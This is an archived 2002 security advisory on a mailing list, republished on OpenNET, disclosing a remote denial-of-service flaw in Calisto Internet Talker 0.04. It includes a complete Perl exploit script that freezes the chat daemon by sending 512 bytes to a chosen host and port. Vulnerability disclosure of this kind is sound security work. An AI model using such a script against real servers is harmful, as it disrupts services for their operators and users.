The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


SFAD02-002: Calisto Internet Talker Remote DOS


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 25 Nov 2002 09:33:49 +0800
From: subversive <subversive@linuxmail.org>
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org
Subject: SFAD02-002: Calisto Internet Talker Remote DOS



  [=================================================================]
  [...............:[  S e c u r i t y F r e a k s  ]:...............]
  [.................:[  www.securityfreaks.com  ]:..................]
  [=================================================================]




Title         : Calisto Internet Talker Remote DOS
Risk          : Moderate
Software      : Calisto Internet Talker Version 0.04 and prior
Platforms     : Linux/Solaris/Cygwin
Vendor URL    : http://www.arcsite.de/hp/flibble/calisto/
Discovered by : subversive <subversive@linuxmail.org>
Advisory ID   : SFAD02-002




.....:[ Overview :


Calisto is an Internet Talker that allows many people to use telnet
to connect to the server and chat. Calisto is coded in C and runs on
Linux/Solaris/Cygwin platforms. It is available on sourceforge as 
well as http://www.arcsite.de/hp/flibble/calisto/.



.....:[ Details :

By sending 512 bytes or more to the Calisto daemon it is possible to
freeze it, resulting in a denial of service. Calisto comes with an
autorun shell script that has been written for the sole purpose of 
automatically restarting Calisto should it crash but unfortunately
this vulnerability will not cause Calisto to crash and segfault but
rather freeze until manually restarted.



.....:[ Vendor Status :

Vendor contacted 1st/5th/10th November 2002 but did not respond.



.....:[ Solution :

Due to the nature of this bug it posses as more of an annoyance than a
major security threat. If your concerned with the problem then simply
disable Calisto until an updated version or patch has been released. 
Hopefully Calisto's vendors will take notice of this advisory and do 
something about the problem.



.....:[ Exploit - SF-talkischeap.pl :

#!/usr/bin/perl
#
# S e c u r i t y F r e a k s
#  www.securityfreaks.com
#
# Calisto Internet Talker Version 0.04 Remote Denial of Service
#
#
# This exploit will not cause Calisto to crash but rather cause it 
# to freeze until manually restarted. This actually works out better 
# because Calisto comes with an autorun script that would restart it 
# should it crash anyway.
#
# [ subversive[at]linuxmail.org ] - *31/10/2002*


use IO::Socket;


$data = "A";
$size = "512";
$freeze .= $data x $size;

while($_ = $ARGV[0], /^-/) {
    shift;       
    last if /^--$/;
    /^-h/ && do { $host = shift; };
    /^-p/ && do { $port = shift; };
}

if(!$host != 0) {

print <<"ACTIONSSPEAKLOUDERTHANWORDS";
   
   S e c u r i t y F r e a k s
     www.securityfreaks.com

   SF-talkischeap.pl by subversive
   Calisto Internet Talker Version 0.04 Remote Denial of Service
  

   Usage :  $0 -h <host> -p <port>

ACTIONSSPEAKLOUDERTHANWORDS
exit;

}

my $sock = new IO::Socket::INET ( Proto    => "tcp",
                                  PeerAddr => $host,
                                  PeerPort => $port,
                                );
die "\nCould not connect to $host : $!\n" unless $sock;

print $sock "$freeze";
close($sock);
exit;


-- 
______________________________________________
http://www.linuxmail.org/
Now with POP3/IMAP access for only US$19.95/yr

Powered by Outblaze

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру